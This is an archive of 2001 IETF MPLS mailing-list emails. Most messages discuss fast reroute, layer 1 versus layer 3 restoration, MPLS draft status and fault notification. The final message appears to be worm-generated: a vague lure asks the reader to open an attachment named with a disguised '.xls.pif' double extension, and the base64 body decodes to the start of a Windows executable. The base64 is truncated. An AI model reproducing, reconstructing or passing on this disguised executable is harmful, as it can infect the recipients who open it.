<BR><FONT SIZE=2>Don</FONT>
</P>
<BR>

<P><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Thanks,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Yu</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C14E07.353296D0--


From owner-mpls@UU.NET  Sat Oct  6 11:08:47 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27298
	for <mpls-archive@lists.ietf.org>; Sat, 6 Oct 2001 11:08:46 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljou17082;
	Sat, 6 Oct 2001 15:08:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljou15725
	for mpls-outgoing; Sat, 6 Oct 2001 15:08:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljou15490
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 6 Oct 2001 15:08:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljou10585
	for <mpls@uu.net>; Sat, 6 Oct 2001 15:08:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljou16626
	for <mpls@uu.net>; Sat, 6 Oct 2001 15:08:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA06123 for <mpls@uu.net>; Sat, 6 Oct 2001 11:08:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA18713 for mpls@uu.net; Sat, 6 Oct 2001 11:08:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljou14767
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 6 Oct 2001 15:07:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljou14771
	for <mpls@UU.NET>; Sat, 6 Oct 2001 15:06:49 GMT
Received: from fido.nc.rr.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rdu26-240-155.nc.rr.com [66.26.240.155])
	id QQljou29600
	for <mpls@UU.NET>; Sat, 6 Oct 2001 15:06:41 GMT
Received: from localhost (jboyle@localhost)
	by fido.nc.rr.com (8.11.2/8.11.2) with ESMTP id f96F8sf08345;
	Sat, 6 Oct 2001 11:08:56 -0400
X-Authentication-Warning: fido.nc.rr.com: jboyle owned process doing -bs
Date: Sat, 6 Oct 2001 11:08:54 -0400 (EDT)
From: Jim Boyle <jboyle@pdnets.com>
X-X-Sender:  <jboyle@fido>
To: Don Fedyk <dwfedyk@nortelnetworks.com>
cc: "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops <mpls-ops@mplsrc.com>, mpls <mpls@UU.NET>
Subject: RE: Fast Reroute Interoperability
In-Reply-To: <F033F6FEF3F1D111BD150000F8CD143107B8EB72@zcard007.ca.nortel.com>
Message-ID: <Pine.LNX.4.33.0110061056000.1898-100000@fido>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Fri, 5 Oct 2001, Don Fedyk wrote:

> Jim
>
> >
> > This is true, and in the last meeting it was noted by the authors that
> > they think they can bring together a common draft.  That
> > would be a good
> > thing as it would seem to meet one of the requirements in
> > draft-ietf-tewg-restore-hierarchy-00.txt.  This is the only
> > approach to
> > restoration times in the 10s to 100s of ms.
>
> You mean this is the only layer 3 based approach that allows this.

yes, as we were talking about mpls.  To be fair, there are ATM
implementations that can do restoration on the order of 1-200 ms on a
national network, but that's not relevant to this discussion either.

> Optical systems have done this for years and they don't compromise
> QoS like some layer 3. I would hope that your draft on hierarchy would

except in that latency of the layer 3 service can be much higher (e.g.
+60 ms rtt) than if restoration was done at layer 3.

> point out that hardware based mechanisms at lower layers can be coordinated
> with layer 3 and it might not be such a good idea to have higher
> layers doing fast recovery before lower layers. It would also seem

it is mentioned that some like layer 1 restoration (you as an example),
some like layer 3 to do the restoration (me, for instance), and
most routers today have some tuning flexibility to be very responsive to
AIS, or to hold off for 1-200 ms, which allows for either architecture.

 > to be beneficial to move protection to the lowest layer you could
> afford it to get the maximum scaling from protection. Applying this

I'm not sure who it would benefit to do as much at Layer 1 as one can
"afford".  There are still situations you will have to protect against at
Layer 3, which means you'll have extra capacity at both layers - sounds
expensive.  Even if you do all sorts of APS into the routers, there are
still service issues (e.g. ability to deal with unplanned bandwith
loads, latency during protection, etc..)

> to a GMPLS network I would think these control mechanisms rerouting
> light paths in mesh networks and layer 3 mechanisms not being so
> time sensitive.

That is one valid approach.  Another is linear capacity at layer 1 and
restoration being done at layer 3.  Another, at some point, may be some
sort of more intertwined communication between the layers, but no-one
on the design team nor in the TEWG thought that was the pressing need at
this time.

Jim





From owner-mpls@UU.NET  Sat Oct  6 11:43:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27630
	for <mpls-archive@lists.ietf.org>; Sat, 6 Oct 2001 11:43:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljow12187;
	Sat, 6 Oct 2001 15:43:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljow26969
	for mpls-outgoing; Sat, 6 Oct 2001 15:43:22 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljow26962
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 6 Oct 2001 15:43:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljow05414
	for <mpls@UU.NET>; Sat, 6 Oct 2001 15:43:01 GMT
Received: from longwood.cs.ucf.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: longwood.cs.ucf.edu [132.170.108.1])
	id QQljow17452
	for <mpls@UU.NET>; Sat, 6 Oct 2001 15:43:13 GMT
Received: from iris.cs.ucf.edu (iris [132.170.108.55])
	by longwood.cs.ucf.edu (8.11.1/8.11.1) with ESMTP id f96Fgxl29162
	for <mpls@UU.NET>; Sat, 6 Oct 2001 11:42:59 -0400 (EDT)
From: Arturo Nunez <artnpp@cs.ucf.edu>
Received: (from artnpp@localhost)
	by iris.cs.ucf.edu (8.9.3/8.9.0) id LAA01654
	for mpls@UU.NET; Sat, 6 Oct 2001 11:41:40 -0400 (EDT)
Message-Id: <200110061541.LAA01654@iris.cs.ucf.edu>
Subject: Implementation Advice ??
To: mpls@UU.NET
Date: Sat, 6 Oct 2001 11:41:40 -0400 (EDT)
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello:
	I'm working on a networking project.
	And we have been working with Linux-PC boxes doing some development over
	the Kernel.
	Now, the PCs may have as far I know 4 or 5 Ethernet cards, cause the
	number of available expansion slots.
	As we're developing kind of a switch over Linux, we need more than 5
	Ethernet Ports.
	-	Is there any option to have more than 5 Ethernet Ports over a PC ??
	-	Is there any other device that runs Linux that may support more
	than 5 Ethernet Ports ??

	Any comment or suggestion is welcome.

	Best Regards,

	Arturo Nunez
	


From owner-mpls@UU.NET  Sat Oct  6 22:03:02 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA03177
	for <mpls-archive@lists.ietf.org>; Sat, 6 Oct 2001 22:03:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljqm25937;
	Sun, 7 Oct 2001 02:03:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljqm22511
	for mpls-outgoing; Sun, 7 Oct 2001 02:02:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljqm22488
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 7 Oct 2001 02:02:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljqm04935
	for <mpls@uu.net>; Sun, 7 Oct 2001 02:01:29 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f133.law12.hotmail.com [64.4.19.133])
	id QQljqm24658
	for <mpls@uu.net>; Sun, 7 Oct 2001 02:01:43 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 6 Oct 2001 19:01:28 -0700
Received: from 216.175.99.176 by lw12fd.law12.hotmail.msn.com with HTTP;
	Sun, 07 Oct 2001 02:01:28 GMT
X-Originating-IP: [216.175.99.176]
From: "Hariom P" <hmp123@hotmail.com>
To: mpls@UU.NET
Subject: draft-swallow-rsvp-bypass-label draft
Date: Sat, 06 Oct 2001 19:01:28 -0700
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F133Y4kJSFsxf4yp8AR00006040@hotmail.com>
X-OriginalArrivalTime: 07 Oct 2001 02:01:28.0750 (UTC) FILETIME=[FA4CFCE0:01C14ED3]
Sender: owner-mpls@UU.NET
Precedence: bulk

All,

Does anyone know whether this darft has been discontinued totally or
has been merged with some new draft ?

Also can Authors/anyone suggest where can i found the latest version of this 
draft ? ( regardless of whether or not it is discontinued.. ). Thanks..

with regards,
Rajeev


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp



From owner-mpls@UU.NET  Sun Oct  7 17:55:22 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25582
	for <mpls-archive@lists.ietf.org>; Sun, 7 Oct 2001 17:55:21 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljtn06243;
	Sun, 7 Oct 2001 21:55:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljtn27542
	for mpls-outgoing; Sun, 7 Oct 2001 21:54:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljtn27528
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 7 Oct 2001 21:54:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljtn12863
	for <mpls@uu.net>; Sun, 7 Oct 2001 21:52:50 GMT
Received: from hongkong.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.84.12.153])
	id QQljtn23541
	for <mpls@uu.net>; Sun, 7 Oct 2001 21:52:42 GMT
Received: from hongkong.com([10.1.0.101]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm53bc11104; Sun,  7 Oct 2001 21:40:53 -0000
Received: from cmr0.ash.ops.us.uu.net([198.5.241.38]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jmd73bbc1e7e; Thu,  4 Oct 2001 03:08:41 -0000
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljfl21460;
	Thu, 4 Oct 2001 02:29:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljfl06321
	for mpls-outgoing; Thu, 4 Oct 2001 02:28:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljfl06316
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 4 Oct 2001 02:28:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljfl25350
	for <mpls@uu.net>; Thu, 4 Oct 2001 02:28:12 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQljfl15037
	for <mpls@uu.net>; Thu, 4 Oct 2001 02:28:05 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id WAA16372
	for <mpls@uu.net>; Wed, 3 Oct 2001 22:28:11 -0400 (EDT)
Message-ID: <3BBBC9DC.7A7DFBA@vill.com>
Date: Wed, 03 Oct 2001 22:30:52 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: MPLS Restoration
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,
   I have few doubts on MPLS restoration.
(1)The section 3.6. Fault Notification of
draft-ietf-mpls-recovery-frmwrk-03.txt says,
  " Depending on how fault notification is configured in
   the LSRs of an MPLS domain, the FIS could be sent either as a Layer 2

   or Layer 3 packet [11]. The use of a Layer 2-based notification
   requires a Layer 2 path direct to the PSL. "

  If there is an LSP from A to F as shown below and a failure has
occured
  between C & D
  A --- B --- C --- D --- E ---- F
   (a) what does it mean to have a layer 2 direct path ?

   (b) how can a direct path be setup if layer 2 is SONET or GigE?

   (c) And how do you route the FIS to the source in any layer 2
technology?


(2) I have read all the MPLS restoration drafts AFAIK, but haven't found
any
     reference to expected restoration times for path restoration or
global repair.
     My guess is it going to be in the order of seconds. Is there any
effort or work
     in progress to bring it down by an order or it is impossible and
futile effort.

Appreciate your comments.

Regards,
--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Sun Oct  7 18:36:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25895
	for <mpls-archive@lists.ietf.org>; Sun, 7 Oct 2001 18:36:54 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljtq20296;
	Sun, 7 Oct 2001 22:36:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljtq19344
	for mpls-outgoing; Sun, 7 Oct 2001 22:36:23 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljtq19336
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 7 Oct 2001 22:36:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljtq09531
	for <mpls@UU.NET>; Sun, 7 Oct 2001 22:36:07 GMT
Received: from grex.cyberspace.org by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: grex.cyberspace.org [216.93.104.34])
	id QQljtq19255
	for <mpls@UU.NET>; Sun, 7 Oct 2001 22:36:20 GMT
Received: from localhost (hemant@localhost) by grex.cyberspace.org (8.6.13/8.6.12) with SMTP id SAA07603; Sun, 7 Oct 2001 18:36:32 -0400
Date: Sun, 7 Oct 2001 18:36:31 -0400 (EDT)
From: "Hemant P. Kelkar" <hemant@cyberspace.org>
To: Narsim.Donga@marconi.com
cc: mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: Fast Reroute Interoperability
Message-ID: <Pine.SUN.3.96.1011007183144.7386A-100000@grex.cyberspace.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Narsim,

It was a good comparison. This means that:
#1. Those products in which the the LSP protection is using the hot
standby mode, suffer from the drawback of not using the label space
economically, apart from putting the burden of setup,management and
maintanance of the hot standby LSPs.
#2. Those products which (opposite to 1 above) discover and route the data
at the time of failure, suffer with significant protection switching
delays. The complexity of the re-route and route-calculate problem is more
in this case.
#3. What did the term in point 2 of the document, referred to ? (term =
C.B.)
#4. Products with scheme 1 seem to be less dynamic to topology changes,
since the hot standby LSPs may be set up using PVC mechanisms.
#5. By the way, how much protection switching time is expected in both
cases ?

Regards,
---
Hemant



From owner-mpls@UU.NET  Sun Oct  7 22:54:19 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA29531
	for <mpls-archive@lists.ietf.org>; Sun, 7 Oct 2001 22:54:18 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuh11172;
	Mon, 8 Oct 2001 02:54:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuh23572
	for mpls-outgoing; Mon, 8 Oct 2001 02:53:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljuh23564
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 02:53:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuh26614
	for <mpls@uu.net>; Mon, 8 Oct 2001 02:53:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuh09194
	for <mpls@uu.net>; Mon, 8 Oct 2001 02:53:16 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id WAA11248 for <mpls@uu.net>; Sun, 7 Oct 2001 22:53:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id WAA16597 for mpls@uu.net; Sun, 7 Oct 2001 22:53:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljuh23476
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 02:52:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuh08066
	for <mpls@uu.net>; Mon, 8 Oct 2001 02:51:28 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuh06527
	for <mpls@uu.net>; Mon, 8 Oct 2001 02:51:42 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.166.204]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id WAA11208; Sun, 7 Oct 2001 22:51:27 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id WAA29197; Sun, 7 Oct 2001 22:51:27 -0400 (EDT)
Message-Id: <200110080251.WAA29197@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: "Hariom P" <hmp123@hotmail.com>
cc: mpls@UU.NET, swallow@cisco.com
Subject: Re: draft-swallow-rsvp-bypass-label draft 
In-reply-to: Your message of "Sat, 06 Oct 2001 19:01:28 PDT."
             <F133Y4kJSFsxf4yp8AR00006040@hotmail.com> 
Date: Sun, 07 Oct 2001 22:51:27 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

The proposal put forward at the last IETF meeting was to combine my
draft with Juniper's.  That work is in progress.  There will be a
combined draft in time for Utah.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Mon Oct  8 00:43:35 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00475
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 00:43:34 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuo06174;
	Mon, 8 Oct 2001 04:43:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuo11366
	for mpls-outgoing; Mon, 8 Oct 2001 04:42:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuo11358
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 04:42:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuo08167
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:42:15 GMT
Received: from raonet.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [211.63.143.1])
	id QQljuo19073
	for <mpls@uu.net>; Mon, 8 Oct 2001 04:42:15 GMT
Received: from chun-notebook.raonet.com ([211.63.143.124])
	by raonet.com (8.11.2/8.11.2) with SMTP id f984fr121798
	for <mpls@uu.net>; Mon, 8 Oct 2001 13:41:54 +0900
Message-Id: <200110080441.f984fr121798@raonet.com>
From: "=?ISO-8859-1?Q?=C0=DC=BF=EC=C1=F7=28Woojik=20Chun=29?="<chun@raonet.com>
To: mpls@UU.NET
Subject: =?ISO-8859-1?Q?=C1=F6=BA=D0=28=B3=B2=B1=C3=29?=
date: Mon, 8 Oct 2001 14:00:53 +0900
MIME-Version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Content-Type: multipart/mixed; boundary="----21750913_Outlook_Express_message_boundary"
Content-Disposition: Multipart message
Sender: owner-mpls@UU.NET
Precedence: bulk

------21750913_Outlook_Express_message_boundary
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: message text
Content-Transfer-Encoding: quoted-printable

Hi! How are you=3F
 
I send you this file in order to have your advice
 
See you later=2E Thanks

------21750913_Outlook_Express_message_boundary
Content-Type: application/mixed; name=ÁöºĞ(³²±Ã).xls.pif
Content-Disposition: attachment;  filename=ÁöºĞ(³²±Ã).xls.pif
Content-Transfer-Encoding: base64

TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5k
ZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQgAGV5CKgAA
AAAAAAAA4ACOgQsBAhkAqAEAAGwAAAAAAACkqQEAABAAAADAAQAAAEAAABAAAAACAAABAAAA
AAAAAAQAAAAAAAAAAIACAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAAEAAAAAAA
AAAAAAAAAPABAK4RAAAAYAIAABgAAAAAAAAAAAAAAAAAAAAAAAAAMAIAOCAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAgAgAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAACQpwEAABAAAACoAQAABAAAAAAAAAAAAAAAAAAA
IAAAYERBVEEAAAAAlBwAAADAAQAAHgAAAKwBAAAAAAAAAAAAAAAAAEAAAMBCU1MAAAAAACUP
AAAA4AEAAAAAAADKAQAAAAAAAAAAAAAAAAAAAADALmlkYXRhAACuEQAAAPABAAASAAAAygEA
AAAAAAAAAAAAAAAAQAAAwC50bHMAAAAADAAAAAAQAgAAAAAAANwBAAAAAAAAAAAAAAAAAAAA
AMAucmRhdGEAABgAAAAAIAIAAAIAAADcAQAAAAAAAAAAAAAAAABAAABQLnJlbG9jAAA4IAAA
ADACAAAiAAAA3gEAAAAAAAAAAAAAAAAAQAAAUC5yc3JjAAAAABgAAABgAgAAGAAAAAACAAAA
AAAAAAAAAAAAAEAAAFAAAAAAAAAAAAAAAAAAgAIAAAAAAAAYAgAAAAAAAAAAAAAAAABAAABQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQ
QAAKBlN0cmluZ1gQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWBBAAAQAAAAAAAAA
oCxAAKwsQACwLEAAtCxAAKgsQABwK0AAhCtAAMwrQAAHVE9iamVjdGQQQAAHB1RPYmplY3RY
EEAAAAAAAAAABlN5c3RlbQAAhBBAAA8ISVVua25vd24AAAAAAQAAAAAAAAAAwAAAAAAAAEYG
U3lzdGVtAAD/JbjxQQCLwP8ltPFBAIvA/yWw8UEAi8D/JazxQQCLwP8lqPFBAIvA/yWk8UEA
i8D/JaDxQQCLwP8lnPFBAIvA/yWY8UEAi8D/JZTxQQCLwP8lkPFBAIvA/yWM8UEAi8D/JYjx
QQCLwP8lzPFBAIvA/yWE8UEAi8D/JcjxQQCLwP8lgPFBAIvA/yV88UEAi8D/JXjxQQCLwP8l
dPFBAIvA/yVw8UEAi8D/JWzxQQCLwP8laPFBAIvA/yVk8UEAi8D/JWDxQQCLwP8lXPFBAIvA
/yVY8UEAi8D/JVTxQQCLwP8lxPFBAIvA/yVQ8UEAi8D/JUzxQQCLwP8lSPFBAIvA/yVE8UEA
i8D/JdzxQQCLwP8l2PFBAIvA/yXU8UEAi8D/JUDxQQCLwP8lPPFBAIvA/yX88UEAi8D/Jfjx
QQCLwP8l9PFBAIvA/yXw8UEAi8D/JezxQQCLwP8l6PFBAIvA/yXk8UEAi8BTg8S8uwoAAABU
6FH////2RCQsAXQFD7dcJDCLw4PERFvDi8D/JTjxQQCLwP8lNPFBAIvA/yUw8UEAi8D/JSzx
QQCLwP8lKPFBAIvA/yUk8UEAi8D/JSDxQQCLwP8lHPFBAIvAU1a+TORBAIM+AHU6aEQGAABq
AOio////i8iFyXUFM8BeW8OhSORBAIkBiQ1I5EEAM9KLwgPAjUTBBIseiRiJBkKD+mR17IsG
ixCJFl5bw5CJAIlABMOLwFNWi/KL2Oid////hcB1BTPAXlvDixaJUAiLVgSJUAyLE4kQiVgE
iUIEiQOwAV5bw4tQBIsIiQqJUQSLFUzkQQCJEKNM5EEAw1NWV1VRi/GJFCSL6ItdAIsEJIsQ
